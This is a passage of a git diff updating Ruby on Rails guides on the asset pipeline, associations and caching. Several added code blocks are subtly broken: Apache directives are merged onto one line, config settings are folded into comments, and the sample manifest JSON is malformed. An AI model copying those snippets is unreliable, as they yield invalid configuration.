(which defaults to `true` for production and `false` for everything else). +The fingerprinting behavior is controlled by the `config.assets.digest` +initialization option (which defaults to `true` for production and `false` for +everything else). -NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes. +NOTE: Under normal circumstances the default `config.assets.digest` option +should not be changed. If there are no digests in the filenames, and far-future +headers are set, remote clients will never know to refetch the files when their +content changes. ### Precompiling Assets -Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk. +Rails comes bundled with a rake task to compile the asset manifests and other +files in the pipeline. -Compiled assets are written to the location specified in `config.assets.prefix`. By default, this is the `public/assets` directory. +Compiled assets are written to the location specified in `config.assets.prefix`. +By default, this is the `/assets` directory. -You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally. +You can call this task on the server during deployment to create compiled +versions of your assets directly on the server. See the next section for +information on compiling locally. The rake task is: @@ -419,37 +679,47 @@ The rake task is: $ RAILS_ENV=production bundle exec rake assets:precompile ``` -Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment. Add the following line to `Capfile`: +Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment. +Add the following line to `Capfile`: ```ruby load 'deploy/assets' ``` -This links the folder specified in `config.assets.prefix` to `shared/assets`. If you already use this shared folder you'll need to write your own deployment task. - -It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page. +This links the folder specified in `config.assets.prefix` to `shared/assets`. +If you already use this shared folder you'll need to write your own deployment +task. -NOTE. If you are precompiling your assets locally, you can use `bundle install --without assets` on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). +It is important that this folder is shared between deployments so that remotely +cached pages referencing the old compiled assets still work for the life of +the cached page. -The default matcher for compiling files includes `application.js`, `application.css` and all non-JS/CSS files (this will include all image assets automatically): +The default matcher for compiling files includes `application.js`, +`application.css` and all non-JS/CSS files (this will include all image assets +automatically) from `app/assets` folders including your gems: ```ruby -[ Proc.new { |path| !%w(.js .css).include?(File.extname(path)) }, /application.(css|js)$/ ] +[ Proc.new { |path, fn| fn =~ /app\/assets/ && !%w(.js .css).include?(File.extname(path)) }, +/application.(css|js)$/ ] ``` -NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and `.scss` files are **not** automatically included as they compile to JS/CSS. +NOTE: The matcher (and other members of the precompile array; see below) is +applied to final compiled file names. This means anything that compiles to +JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and +`.scss` files are **not** automatically included as they compile to JS/CSS. -If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the `precompile` array in `config/application.rb`: +If you have other manifests or individual stylesheets and JavaScript files to +include, you can add them to the `precompile` array in `config/initializers/assets.rb`: ```ruby -config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] +Rails.application.config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] ``` -Or you can opt to precompile all assets with something like this: +Or, you can opt to precompile all assets with something like this: ```ruby -# config/application.rb -config.assets.precompile << Proc.new do |path| +# config/initializers/assets.rb +Rails.application.config.assets.precompile << Proc.new do |path| if path =~ /\.(css|js)\z/ full_path = Rails.application.assets.resolve(path).to_path app_assets_path = Rails.root.join('app', 'assets').to_path @@ -466,38 +736,51 @@ config.assets.precompile << Proc.new do |path| end ``` -NOTE. Always specify an expected compiled filename that ends with js or css, even if you want to add Sass or CoffeeScript files to the precompile array. +NOTE. Always specify an expected compiled filename that ends with .js or .css, +even if you want to add Sass or CoffeeScript files to the precompile array. -The rake task also generates a `manifest.yml` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like: +The rake task also generates a `manifest-md5hash.json` that contains a list with +all your assets and their respective fingerprints. This is used by the Rails +helper methods to avoid handing the mapping requests back to Sprockets. A +typical manifest file looks like: -```yaml ---- -rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png -jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js -jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js -application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js -application.css: application-8af74128f904600e41a6e39241464e03.css +```ruby +{"files":{"application-723d1be6cc741a3aabb1cec24276d681.js":{"logical_path":"application.js","mtime":"2013-07-26T22:55:03-07:00","size":302506, +"digest":"723d1be6cc741a3aabb1cec24276d681"},"application-12b3c7dd74d2e9df37e7cbb1efa76a6d.css":{"logical_path":"application.css","mtime":"2013-07-26T22:54:54-07:00","size":1560, +"digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752789588ac18d7e1a50b1f0fd4c2.css":{"logical_path":"application.css","mtime":"2013-07-26T22:56:17-07:00","size":1591, +"digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b81f0476e876f7c5e375969.ico":{"logical_path":"favicon.ico","mtime":"2013-07-26T23:00:10-07:00","size":1406, +"digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f23887d9dd70710ea5efd3c62.png":{"logical_path":"my_image.png","mtime":"2013-07-26T23:00:27-07:00","size":6646, +"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets"{"application.js": +"application-723d1be6cc741a3aabb1cec24276d681.js","application.css": +"application-1c5752789588ac18d7e1a50b1f0fd4c2.css", +"favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_image.png": +"my_image-231a680f23887d9dd70710ea5efd3c62.png"}} ``` -The default location for the manifest is the root of the location specified in `config.assets.prefix` ('/assets' by default). +The default location for the manifest is the root of the location specified in +`config.assets.prefix` ('/assets' by default). -NOTE: If there are missing precompiled files in production you will get an `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` exception indicating the name of the missing file(s). +NOTE: If there are missing precompiled files in production you will get an +`Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` +exception indicating the name of the missing file(s). #### Far-future Expires Header -Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. +Precompiled assets exist on the file system and are served directly by your web +server. They do not have far-future headers by default, so to get the benefit of +fingerprinting you'll have to update your server configuration to add those +headers. For Apache: ```apache -# The Expires* directives requires the Apache module `mod_expires` to be enabled. +# The Expires* directives requires the Apache module +# `mod_expires` to be enabled. <Location /assets/> # Use of ETag is discouraged when Last-Modified is present - Header unset ETag - FileETag None + Header unset ETag FileETag None # RFC says only cache for 1 year - ExpiresActive On - ExpiresDefault "access plus 1 year" + ExpiresActive On ExpiresDefault "access plus 1 year" </Location> ``` @@ -515,7 +798,13 @@ location ~ ^/assets/ { #### GZip Compression -When files are precompiled, Sprockets also creates a [gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves. +When files are precompiled, Sprockets also creates a +[gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web +servers are typically configured to use a moderate compression ratio as a +compromise, but since precompilation happens once, Sprockets uses the maximum +compression ratio, thus reducing the size of the data transfer to the minimum. +On the other hand, web servers can be configured to serve compressed content +directly from disk, rather than deflating non-compressed files themselves. Nginx is able to do this automatically enabling `gzip_static`: @@ -528,25 +817,32 @@ location ~ ^/(assets)/ { } ``` -This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even `nginx-light` have the module compiled. Otherwise, you may need to perform a manual compilation: +This directive is available if the core module that provides this feature was +compiled with the web server. Ubuntu/Debian packages, even `nginx-light`, have +the module compiled. Otherwise, you may need to perform a manual compilation: ```bash ./configure --with-http_gzip_static_module ``` -If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted. +If you're compiling nginx with Phusion Passenger you'll need to pass that option +when prompted. -A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.) +A robust configuration for Apache is possible but tricky; please Google around. +(Or help update this Guide if you have a good configuration example for Apache.) ### Local Precompilation -There are several reasons why you might want to precompile your assets locally. Among them are: +There are several reasons why you might want to precompile your assets locally. +Among them are: * You may not have write access to your production file system. -* You may be deploying to more than one server, and want to avoid the duplication of work. +* You may be deploying to more than one server, and want to avoid +duplication of work. * You may be doing frequent deploys that do not include asset changes. -Local compilation allows you to commit the compiled files into source control, and deploy as normal. +Local compilation allows you to commit the compiled files into source control, +and deploy as normal. There are two caveats: @@ -559,15 +855,23 @@ In `config/environments/development.rb`, place the following line: config.assets.prefix = "/dev-assets" ``` -The `prefix` change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to `/assets` in the production environment. Without this change, the application would serve the precompiled assets from `public/assets` in development, and you would not see any local changes until you compile assets again. +The `prefix` change makes Sprockets use a different URL for serving assets in +development mode, and pass all requests to Sprockets. The prefix is still set to +`/assets` in the production environment. Without this change, the application +would serve the precompiled assets from `/assets` in development, and you would +not see any local changes until you compile assets again. -You will also need to ensure that any compressors or minifiers are available on your development system. +You will also need to ensure any necessary compressors or minifiers are +available on your development system. -In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected. +In practice, this will allow you to precompile locally, have those files in your +working tree, and commit those files to source control when needed. Development +mode will work as expected. ### Live Compilation -In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly. +In some circumstances you may wish to use live compilation. In this mode all +requests for assets in the pipeline are handled by Sprockets directly. To enable this option set: @@ -575,13 +879,21 @@ To enable this option set: config.assets.compile = true ``` -On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash. +On the first request the assets are compiled and cached as outlined in +development above, and the manifest names used in the helpers are altered to +include the MD5 hash. -Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. +Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This +signals all caches between your server and the client browser that this content +(the file served) can be cached for 1 year. The effect of this is to reduce the +number of requests for this asset from your server; the asset has a good chance +of being in the local browser cache or some intermediate cache. -This mode uses more memory, performs more poorly than the default and is not recommended. +This mode uses more memory, performs more poorly than the default and is not +recommended. -If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: +If you are deploying a production application to a system without any +pre-existing JavaScript runtimes, you may want to add one to your Gemfile: ```ruby group :production do @@ -591,36 +903,48 @@ end ### CDNs -If your assets are being served by a CDN, ensure they don't stick around in -your cache forever. This can cause problems. If you use +If your assets are being served by a CDN, ensure they don't stick around in your +cache forever. This can cause problems. If you use `config.action_controller.perform_caching = true`, Rack::Cache will use `Rails.cache` to store assets. This can cause your cache to fill up quickly. -Every cache is different, so evaluate how your CDN handles caching and make -sure that it plays nicely with the pipeline. You may find quirks related to -your specific set up, you may not. The defaults nginx uses, for example, -should give you no problems when used as an HTTP cache. +Every cache is different, so evaluate how your CDN handles caching and make sure +that it plays nicely with the pipeline. You may find quirks related to your +specific set up, you may not. The defaults nginx uses, for example, should give +you no problems when used as an HTTP cache. Customizing the Pipeline ------------------------ ### CSS Compression -There is currently one option for compressing CSS, YUI. The [YUI CSS compressor](http://developer.yahoo.com/yui/compressor/css.html) provides minification. +One of the options for compressing CSS is YUI. The [YUI CSS +compressor](http://yui.github.io/yuicompressor/css.html) provides +minification. -The following line enables YUI compression, and requires the `yui-compressor` gem. +The following line enables YUI compression, and requires the `yui-compressor` +gem. ```ruby config.assets.css_compressor = :yui ``` +The other option for compressing CSS if you have the sass-rails gem installed is -The `config.assets.compress` must be set to `true` to enable CSS compression. +```ruby +config.assets.css_compressor = :sass +``` ### JavaScript Compression -Possible options for JavaScript compression are `:closure`, `:uglifier` and `:yui`. These require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems, respectively. +Possible options for JavaScript compression are `:closure`, `:uglifier` and +`:yui`. These require the use of the `closure-compiler`, `uglifier` or +`yui-compressor` gems, respectively. -The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). This gem wraps [UglifierJS](https://github.com/mishoo/UglifyJS) (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible. +The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). +This gem wraps [UglifyJS](https://github.com/mishoo/UglifyJS) (written for +NodeJS) in Ruby. It compresses your code by removing white space and comments, +shortening local variable names, and performing other micro-optimizations such +as changing `if` and `else` statements to ternary operators where possible. The following line invokes `uglifier` for JavaScript compression. @@ -628,13 +952,21 @@ The following line invokes `uglifier` for JavaScript compression. config.assets.js_compressor = :uglifier ``` -Note that `config.assets.compress` must be set to `true` to enable JavaScript compression +NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) +supported runtime in order to use `uglifier`. If you are using Mac OS X or +Windows you have a JavaScript runtime installed in your operating system. -NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the [ExecJS](https://github.com/sstephenson/execjs#readme) documentation for information on all of the supported JavaScript runtimes. +NOTE: The `config.assets.compress` initialization option is no longer used in +Rails 4 to enable either CSS or JavaScript compression. Setting it will have no +effect on the application. Instead, setting `config.assets.css_compressor` and +`config.assets.js_compressor` will control compression of CSS and JavaScript +assets. ### Using Your Own Compressor -The compressor config settings for CSS and JavaScript also take any object. This object must have a `compress` method that takes a string as the sole argument and it must return a string. +The compressor config settings for CSS and JavaScript also take any object. +This object must have a `compress` method that takes a string as the sole +argument and it must return a string. ```ruby class Transformer @@ -661,60 +993,96 @@ This can be changed to something else: config.assets.prefix = "/some_other_path" ``` -This is a handy option if you are updating an older project that didn't use the asset pipeline and that already uses this path or you wish to use this path for a new resource. +This is a handy option if you are updating an older project that didn't use the +asset pipeline and already uses this path or you wish to use this path for +a new resource. ### X-Sendfile Headers -The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. +The X-Sendfile header is a directive to the web server to ignore the response +from the application, and instead serve a specified file from disk. This option +is off by default, but can be enabled if your server supports it. When enabled, +this passes responsibility for serving the file to the web server, which is +faster. Have a look at [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file) +on how to use this feature. -Apache and nginx support this option, which can be enabled in `config/environments/production.rb`. +Apache and nginx support this option, which can be enabled in +`config/environments/production.rb`: ```ruby # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx ``` -WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into `production.rb` and any other environments you define with production behavior (not `application.rb`). +WARNING: If you are upgrading an existing application and intend to use this +option, take care to paste this configuration option only into `production.rb` +and any other environments you define with production behavior (not +`application.rb`). + +TIP: For further details have a look at the docs of your production web server: +- [Apache](https://tn123.org/mod_xsendfile/) +- [Nginx](http://wiki.nginx.org/XSendfile) Assets Cache Store ------------------ -The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting `config.assets.cache_store`. +The default Rails cache store will be used by Sprockets to cache assets in +development and production. This can be changed by setting +`config.assets.cache_store`: ```ruby config.assets.cache_store = :memory_store ``` -The options accepted by the assets cache store are the same as the application's cache store. +The options accepted by the assets cache store are the same as the application's +cache store. ```ruby config.assets.cache_store = :memory_store, { size: 32.megabytes } ``` +To disable the assets cache store: + +```ruby +config.assets.configure do |env| + env.cache = ActiveSupport::Cache.lookup_store(:null_store) +end +``` + Adding Assets to Your Gems -------------------------- Assets can also come from external sources in the form of gems. -A good example of this is the `jquery-rails` gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from `Rails::Engine`. By doing this, Rails is informed that the directory for this gem may contain assets and the `app/assets`, `lib/assets` and `vendor/assets` directories of this engine are added to the search path of Sprockets. +A good example of this is the `jquery-rails` gem which comes with Rails as the +standard JavaScript library gem. This gem contains an engine class which +inherits from `Rails::Engine`. By doing this, Rails is informed that the +directory for this gem may contain assets and the `app/assets`, `lib/assets` and +`vendor/assets` directories of this engine are added to the search path of +Sprockets. Making Your Library or Gem a Pre-Processor ------------------------------------------ As Sprockets uses [Tilt](https://github.com/rtomayko/tilt) as a generic -interface to different templating engines, your gem should just -implement the Tilt template protocol. Normally, you would subclass -`Tilt::Template` and reimplement `evaluate` method to return final -output. Template source is stored at `@code`. Have a look at +interface to different templating engines, your gem should just implement the +Tilt template protocol. Normally, you would subclass `Tilt::Template` and +reimplement the `prepare` method, which initializes your template, and the +`evaluate` method, which returns the processed source. The original source is +stored in `data`. Have a look at [`Tilt::Template`](https://github.com/rtomayko/tilt/blob/master/lib/tilt/template.rb) sources to learn more. ```ruby module BangBang class Template < ::Tilt::Template + def prepare + # Do any initialization here + end + # Adds a "!" to original template. def evaluate(scope, locals, &block) - "#{@code}!" + "#{data}!" end end end @@ -730,31 +1098,30 @@ Sprockets.register_engine '.bang', BangBang::Template Upgrading from Old Versions of Rails ------------------------------------ -There are a few issues when upgrading. The first is moving the files from `public/` to the new locations. See [Asset Organization](#asset-organization) above for guidance on the correct locations for different file types. +There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The first is +moving the files from `public/` to the new locations. See [Asset +Organization](#asset-organization) above for guidance on the correct locations +for different file types. -Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` into `app/assets` and it will be included automatically. +Next will be avoiding duplicate JavaScript files. Since jQuery is the default +JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` +into `app/assets` and it will be included automatically. -The third is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0. +The third is updating the various environment files with the correct default +options. In `application.rb`: ```ruby -# Enable the asset pipeline -config.assets.enabled = true - # Version of your assets, change this if you want to expire all your assets config.assets.version = '1.0' -# Change the path that assets are served from -# config.assets.prefix = "/assets" +# Change the path that assets are served from config.assets.prefix = "/assets" ``` In `development.rb`: ```ruby -# Do not compress assets -config.assets.compress = false - # Expands the lines which load the assets config.assets.debug = true ``` @@ -762,50 +1129,28 @@ config.assets.debug = true And in `production.rb`: ```ruby -# Compress JavaScripts and CSS -config.assets.compress = true - -# Choose the compressors to use -# config.assets.js_compressor = :uglifier -# config.assets.css_compressor = :yui +# Choose the compressors to use (if any) config.assets.js_compressor = +# :uglifier config.assets.css_compressor = :yui # Don't fallback to assets pipeline if a precompiled asset is missed config.assets.compile = false -# Generate digests for assets URLs. +# Generate digests for assets URLs. This is planned for deprecation. config.assets.digest = true -# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) -# config.assets.precompile += %w( search.js ) +# Precompile additional assets (application.js, application.css, and all +# non-JS/CSS are already added) config.assets.precompile += %w( search.js ) ``` -You should not need to change `test.rb`. The defaults in the test environment are: `config.assets.compile` is true and `config.assets.compress`, `config.assets.debug` and `config.assets.digest` are false. +Rails 4 no longer sets default config values for Sprockets in `test.rb`, so +`test.rb` now requires Sprockets configuration. The old defaults in the test +environment are: `config.assets.compile = true`, `config.assets.compress = +false`, `config.assets.debug = false` and `config.assets.digest = false`. The following should also be added to `Gemfile`: ```ruby -# Gems used only for assets and not required -# in production environments by default. -group :assets do - gem 'sass-rails', "~> 3.2.3" - gem 'coffee-rails', "~> 3.2.1" - gem 'uglifier' -end -``` - -If you use the `assets` group with Bundler, please make sure that your `config/application.rb` has the following Bundler require statement: - -```ruby -# If you precompile assets before deploying to production, use this line -Bundler.require *Rails.groups(:assets => %w(development test)) -# If you want your assets lazily compiled in production, use this line -# Bundler.require(:default, :assets, Rails.env) -``` - -Instead of the generated version: - -```ruby -# Require the gems listed in Gemfile, including any gems -# you've limited to :test, :development, or :production. -Bundler.require(:default, Rails.env) +gem 'sass-rails', "~> 3.2.3" +gem 'coffee-rails', "~> 3.2.1" +gem 'uglifier' ``` diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md index c0e584a1c7..df38bd7321 100644 --- a/guides/source/association_basics.md +++ b/guides/source/association_basics.md @@ -40,7 +40,7 @@ end @customer.destroy ``` -With Active Record associations, we can streamline these — and other — operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders: +With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders: ```ruby class Customer < ActiveRecord::Base @@ -69,7 +69,7 @@ To learn more about the different types of associations, read the next section o The Types of Associations ------------------------- -In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations: +In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations: * `belongs_to` * `has_one` @@ -261,7 +261,10 @@ With `through: :sections` specified, Rails will now understand: ### The `has_one :through` Association -A `has_one :through` association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this: +A `has_one :through` association sets up a one-to-one connection with another model. This association indicates +that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. +For example, if each supplier has one account, and each account is associated with one account history, then the +supplier model could look like this: ```ruby class Supplier < ActiveRecord::Base @@ -337,7 +340,7 @@ class CreateAssembliesAndParts < ActiveRecord::Migration t.timestamps end - create_table :assemblies_parts do |t| + create_table :assemblies_parts, id: false do |t| t.belongs_to :assembly t.belongs_to :part end @@ -487,6 +490,19 @@ end With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`. +In your migrations/schema, you will add a references column to the model itself. + +```ruby +class CreateEmployees < ActiveRecord::Migration + def change + create_table :employees do |t| + t.references :manager + t.timestamps + end + end +end +``` + Tips, Tricks, and Warnings -------------------------- @@ -555,7 +571,7 @@ If you create an association some time after you build the underlying model, you If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. -WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in fact generates a join table name of "paper\_boxes\_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings). +WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings). Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations: @@ -715,7 +731,7 @@ The `belongs_to` association creates a one-to-one match with another model. In d #### Methods Added by `belongs_to` -When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association: +When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association: * `association(force_reload = false)` * `association=(associate)` @@ -861,8 +877,12 @@ end Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`. ##### `:dependent` +If you set the `:dependent` option to: -If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method. If you set the `:dependent` option to `:restrict`, then attempting to delete this object will result in a `ActiveRecord::DeleteRestrictionError` if there are any associated objects. +* `:destroy`, when the object is destroyed, `destroy` will be called on its +associated objects. +* `:delete`, when the object is destroyed, all its associated objects will be +deleted directly from the database without calling their `destroy` method. WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database. @@ -953,7 +973,7 @@ end ##### `includes` -You can use the `includes` method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: +You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: ```ruby class LineItem < ActiveRecord::Base @@ -1019,7 +1039,7 @@ The `has_one` association creates a one-to-one match with another model. In data #### Methods Added by `has_one` -When you declare a `has_one` association, the declaring class automatically gains four methods related to the association: +When you declare a `has_one` association, the declaring class automatically gains five methods related to the association: * `association(force_reload = false)` * `association=(associate)` @@ -1137,6 +1157,12 @@ Controls what happens to the associated object when its owner is destroyed: * `:restrict_with_exception` causes an exception to be raised if there is an associated record * `:restrict_with_error` causes an error to be added to the owner if there is an associated object +It's necessary not to set or leave `:nullify` option for those associations +that have `NOT NULL` database constraints. If you don't set `dependent` to +destroy such associations you won't be able to change the associated object +because initial associated object foreign key will be set to unallowed `NULL` +value. + ##### `:foreign_key` By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: @@ -1280,7 +1306,7 @@ The `has_many` association creates a one-to-many relationship with another model #### Methods Added by `has_many` -When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association: +When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association: * `collection(force_reload = false)` * `collection<<(object, ...)` @@ -1769,7 +1795,7 @@ The `has_and_belongs_to_many` association creates a many-to-many relationship wi #### Methods Added by `has_and_belongs_to_many` -When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association: +When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association: * `collection(force_reload = false)` * `collection<<(object, ...)` @@ -1944,8 +1970,8 @@ While Rails uses intelligent defaults that will work well in most situations, th ```ruby class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, uniq: true, - read_only: true + has_and_belongs_to_many :assemblies, autosave: true, + readonly: true end ``` @@ -1957,6 +1983,7 @@ The `has_and_belongs_to_many` association supports these options: * `:foreign_key` * `:join_table` * `:validate` +* `:readonly` ##### `:association_foreign_key` @@ -2171,7 +2198,7 @@ You're not limited to the functionality that Rails automatically builds into ass class Customer < ActiveRecord::Base has_many :orders do def find_by_order_prefix(order_number) - find_by_region_id(order_number[0..2]) + find_by(region_id: order_number[0..2]) end end end diff --git a/guides/source/caching_with_rails.md b/guides/source/caching_with_rails.md index 1e196b0e42..b6423dd44e 100644 --- a/guides/source/caching_with_rails.md +++ b/guides/source/caching_with_rails.md @@ -30,13 +30,13 @@ config.action_controller.perform_caching = true Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with. -INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). See [DHH's key-based cache expiration overview](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method. +INFO: Page Caching has been removed from Rails 4. See the [actionpack-page_caching gem](https://github.com/rails/actionpack-page_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method. ### Action Caching Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy. -INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method. +INFO: Action Caching has been removed from Rails 4. See the [actionpack-action_caching gem](https://github.com/rails/actionpack-action_caching). See [DHH's key-based cache expiration overview](http://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) for the newly-preferred method. ### Fragment Caching @@ -140,6 +140,26 @@ You can also combine the two schemes which is called "Russian Doll Caching": It's called "Russian Doll Caching" because it nests multiple fragments. The advantage is that if a single product is updated, all the other inner fragments can be reused when regenerating the outer fragment. +### Low-Level Caching + +Sometimes you need to cache a particular value or query result, instead of caching view fragments. Rails caching mechanism works great for storing __any__ kind of information. + +The most efficient way to implement low-level caching is using the `Rails.cache.fetch` method. This method does both reading and writing to the cache. When passed only a single argument, the key is fetched and value from the cache is returned. If a block is passed, the result of the block will be cached to the given key and the result is returned. + +Consider the following example. An application has a `Product` model with an instance method that looks up the product’s price on a competing website. The data returned by this method would be perfect for low-level caching: + +```ruby +class Product < ActiveRecord::Base + def competing_price + Rails.cache.fetch("#{cache_key}/competing_price", expires_in: 12.hours) do + Competitor::API.find_price(id) + end + end +end +``` + +NOTE: Notice that in this example we used `cache_key` method, so the resulting cache-key will be something like `products/233-20140225082222765838000/competing_price`. `cache_key` generates a string based on the model’s `id` and `updated_at` attributes. This is a common convention and has the benefit of invalidating the cache whenever the product is updated. In general, when you use low-level caching 